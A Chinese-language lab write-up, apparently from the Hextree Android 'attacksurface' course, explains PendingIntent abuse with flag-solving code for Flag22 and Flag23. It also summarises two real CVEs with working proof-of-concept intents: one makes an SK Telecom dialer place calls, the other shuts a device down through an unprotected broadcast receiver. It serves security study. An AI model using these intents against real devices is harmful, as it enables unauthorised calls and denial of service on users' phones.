通过待定意图进行委托
前面(Flag6Activity)通过 startActivity 启动了一个从 intent 中解析出来的 intent,会导致解析出来的 intent 以当前的应用身份启动,通过 pendingIntent(待定意图) 则可以缓解这个问题,例如 APP1 创建一个 pendingIntent 然后发给 APP2,APP2 通过 pendingIntent.send() 启动的 activity 仍然是以 APP1 的身份运行的
Flag22Activity
观察 jadx 逆向结果,getIntent 后额外拿到了一个 getParcelableExtra("PENDING"); 作为 PendingIntent,后面如果通过 pendingIntent.send(this, 0, intent); 抛了异常就走不到 success 了,所以需要满足 pendingIntent.send

Intent intent1 = new Intent();
intent1.setClassName(
"io.hextree.attacksurface",
"io.hextree.attacksurface.activities.Flag22Activity"
);
PendingIntent pendingintent = PendingIntent.getActivity(MainActivity.this, 0, intent1, PendingIntent.FLAG_MUTABLE);
intent1.putExtra("PENDING",pendingintent);
startActivity(intent1);Flag23Activity
通过 jadx 进行逆向分析,该 activity 不是导出的,因此没法从外部调用,但是当其被调用时会创建一个 PendingIntent 启动他自己,然后发出隐式意图,io.hextree.attacksurface.MUTATE_ME,那么我们只要创建一个 activity 在 intent-filter 写好可以处理这类隐式意图请求,然后再通过 pendingIntent.send(this, 0, intent) 去调用即可

<intent-filter>
<action android:name="io.hextree.attacksurface.MUTATE_ME"/>
<category android:name="android.intent.category.DEFAULT"/>
</intent-filter>
Intent intent = getIntent();
Utils.showDialog(this,intent);
PendingIntent pendingIntent = intent.getParcelableExtra("pending_intent");
Intent intent2 = new Intent();
intent2.putExtra("code", 42);
try {
pendingIntent.send(this, 0, intent2);
} catch (PendingIntent.CanceledException e) {
throw new RuntimeException(e);
}
【一些真实案例】
CVE-2025-43977
韩国 SK Telecom 通讯公司的 APP(作用是通讯录+拨号等),其中负责处理拨打电话功能的 Activity 被设置为导出

且接收到的 intent 未做任何检查,在 Activity 的 onCreate 函数中使用 getIntent() 获取到后直接传入了 s1

s1 根据 intent action 不同的 hashcode 进入不同的 case 分支处理请求

导致任何人都可以给该 APP 发送 intent 从进行拨打电话等操作

Intent intent = new Intent(Intent.ACTION_CALL);
intent.setData(Uri.parse("tel:1xxxxxxxxx2"));
intent.setClassName("com.skt.prod.dialer","com.skt.prod.dialer.activities.outgoingcall.OutgoingCallInternalBroadcaster");
startActivity(intent);
CVE-2023-47889
一个用来关机、重启、进入 FASTBOOT 等各种快捷功能的 APP

其注册了一个广播接收器,根据 intent action:POWER_OFF 来识别

一旦收到广播就调用 RebootUtil.powerOff()

而 RebootUtil.powerOff() 是可以直接关机的...

因此...:
Intent intent = new Intent("POWER_OFF");
intent.setPackage("com.bdrm.superreboot");
sendBroadcast(intent);